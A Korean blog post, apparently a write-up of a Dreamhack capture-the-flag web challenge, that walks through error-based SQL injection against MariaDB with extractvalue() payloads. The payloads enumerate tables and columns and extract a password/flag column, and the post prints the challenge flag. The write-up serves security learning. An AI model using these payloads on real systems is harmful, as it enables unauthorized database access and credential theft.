본문 바로가기

Dreamhack/웹해킹

[LEVEL 1] error based sql injection

웹 서비스에 접속하면 위와 같이 매우 단순한 화면이 나타납니다. 상단에는 실행되는 SQL 쿼리문 SELECT * FROM user WHERE uid='{uid}';가 그대로 노출되어 있어, 사용자의 입력값이 {uid} 위치에 직접 삽입된다는 것을 알 수 있습니다. 하단에는 uid를 입력할 수 있는 입력창과 submit 버튼이 배치되어 있습니다.

 

간단하게 uid부분에 1을 넣으면 아래사진 처럼 입력값이 들어가는 것을 확인 할 수 있습니다.

 

SQL injection 이니까 대표적인 페이로드를 넣어보았더니 아래와 같은 에러가 뜬 것을 확인 할 수 있습니다.

이 에러 메시지를 통해 데이터베이스가 MariaDB임을 확인할 수 있습니다.

 

🔎 MariaDB란?

MariaDB는 MySQL의 포크(fork)로, MySQL의 초기 개발자들이 2009년 Oracle의 MySQL 인수에 대한 우려로 만든 오픈소스 관계형 데이터베이스입니다. MySQL과 높은 호환성을 유지하며, 많은 경우 MySQL을 그대로 대체해서 사용할 수 있습니다.

 

데이터베이스가 MariaDB임을 확인했으므로, 이제 MariaDB에서 동작하는 Error Based SQL Injection 페이로드를 사용합니다.

' AND extractvalue(1, concat(0x7e, [추출할 정보])) #

왜 extractvalue()를 사용하는가?

extractvalue()함수는 XML 데이터에서 값을 추출하는 함수입니다. 하지만 잘못된 XPath 표현식을 전달하면 에러 메시지에 우리가 원하는 정보가 포함되어 출력됩니다.

' AND extractvalue(1, concat(0x7e, version())) #

 

예를 들어, 위 페이로드를 삽입하면 다음과 같은 에러가 발생합니다

 

이제 현재 사용 중인 데이터베이스의 이름을 알아내기 위해 database() 함수를 사용합니다.

' AND extractvalue(1, concat(0x7e, database())) #

에러 메시지를 통해 현재 데이터베이스 이름이 users임을 확인했습니다.

 

데이터베이스 이름을 알았으니, 이제 해당 데이터베이스에 어떤 테이블이 있는지 확인합니다.

' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='users' LIMIT 0,1))) #

첫 번째 테이블 이름이 user임을 확인했습니다.

 

테이블 이름을 알았으니, 이제 해당 테이블에 어떤 컬럼이 있는지 확인합니다.

' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='user' LIMIT 0,1))) #

첫 번째 컬럼 이름이 id임을 확인했습니다.

 

LIMIT 값 변경을 통한 모든 컬럼 추출

LIMIT 0,1에서 앞의 숫자를 1씩 증가시키며 모든 컬럼을 순차적으로 추출했습니다.

더 이상 결과가 나오지 않을 때까지 LIMIT 값을 변경하여 user 테이블의 모든 컬럼(id, uid, upw)을 확인했습니다.

 

 

컬럼 이름을 알았으니, 이제 실제 데이터를 추출합니다. upw 컬럼의 내용을 확인해보겠습니다.

' AND extractvalue(1, concat(0x7e, (SELECT upw FROM user LIMIT 0,1))) #

 

데이터 추출 결과 끝에 ...이 나왔습니다. 이는 extractvalue() 함수가 최대 32자까지만 출력하기 때문입니다. 나머지 부분을 얻기 위해 SUBSTR() 함수를 사용하여 다시 진행했습니다.

' AND extractvalue(1, concat(0x7e, SUBSTR((SELECT upw FROM user LIMIT 0,1), 1, 30))) #

' AND extractvalue(1, concat(0x7e, SUBSTR((SELECT upw FROM user LIMIT 0,1), 31, 30))) #

 

추출한 값을 합치면 전체 플래그를 얻을 수 있습니다.

DH{c3968c78840750168774ad951fc98bf788563c4d}

'Dreamhack > 웹해킹' 카테고리의 다른 글

[LEVEL 1] sql injection bypass WAF  (0) 2026.01.07
[LEVEL 1] Command Injection Advanced  (0) 2026.01.06
[LEVEL 1] type confusion  (0) 2025.09.11
[LEVEL 1] [wargame.kr] strcmp  (1) 2025.09.08
[LEVEL 1] [wargame.kr] fly me to the moon  (0) 2025.09.08